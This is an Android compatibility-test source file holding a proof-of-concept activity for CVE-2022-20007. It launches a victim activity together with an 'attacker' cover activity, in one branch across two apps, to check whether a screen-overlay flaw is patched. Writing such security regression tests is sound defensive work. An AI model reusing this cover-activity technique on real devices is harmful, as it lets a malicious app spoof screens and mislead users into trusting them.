| /* |
| * Copyright (C) 2022 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts.CVE_2022_20007; |
| |
| import android.app.Activity; |
| import android.content.ComponentName; |
| import android.content.Context; |
| import android.content.Intent; |
| import android.content.SharedPreferences; |
| import android.os.Bundle; |
| |
| public class PocMainActivity extends Activity { |
| |
| @Override |
| protected void onCreate(Bundle savedInstanceState) { |
| super.onCreate(savedInstanceState); |
| setContentView(R.layout.activity_main); |
| try { |
| String testPkgName = getPackageName(); |
| final Intent coverIntent = new Intent(); |
| coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg), |
| getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity))); |
| coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK |
| | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); |
| final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class); |
| victimIntent |
| .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); |
| int numActivities = getIntent().getIntExtra(getString(R.string.numActivities), |
| /* default */ getResources().getInteger(R.integer.twoActivities)); |
| if (numActivities == getResources().getInteger(R.integer.twoActivities)) { |
| Intent[] intents = {victimIntent, coverIntent}; |
| startActivities(intents); |
| } else { |
| final Intent secondVictimIntent = new Intent(); |
| secondVictimIntent.setComponent(new ComponentName( |
| getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg) |
| + "." + getString(R.string.secondActivity))); |
| secondVictimIntent.setFlags( |
| Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); |
| startActivity(victimIntent); |
| |
| // wait to prevent both the victim activities from getting launched on same display |
| Thread.sleep(5000); |
| Intent[] intents2 = {secondVictimIntent, coverIntent}; |
| startActivities(intents2); |
| } |
| } catch (Exception e) { |
| try { |
| SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), |
| Context.MODE_PRIVATE); |
| SharedPreferences.Editor edit = sh.edit(); |
| edit.putInt(getString(R.string.resultKey), |
| getResources().getInteger(R.integer.assumptionFailure)); |
| edit.putString(getString(R.string.messageKey), |
| getString(R.string.assumptionFailureMessage)); |
| edit.commit(); |
| } catch (Exception ex) { |
| // ignore exception here |
| } |
| } |
| } |
| } |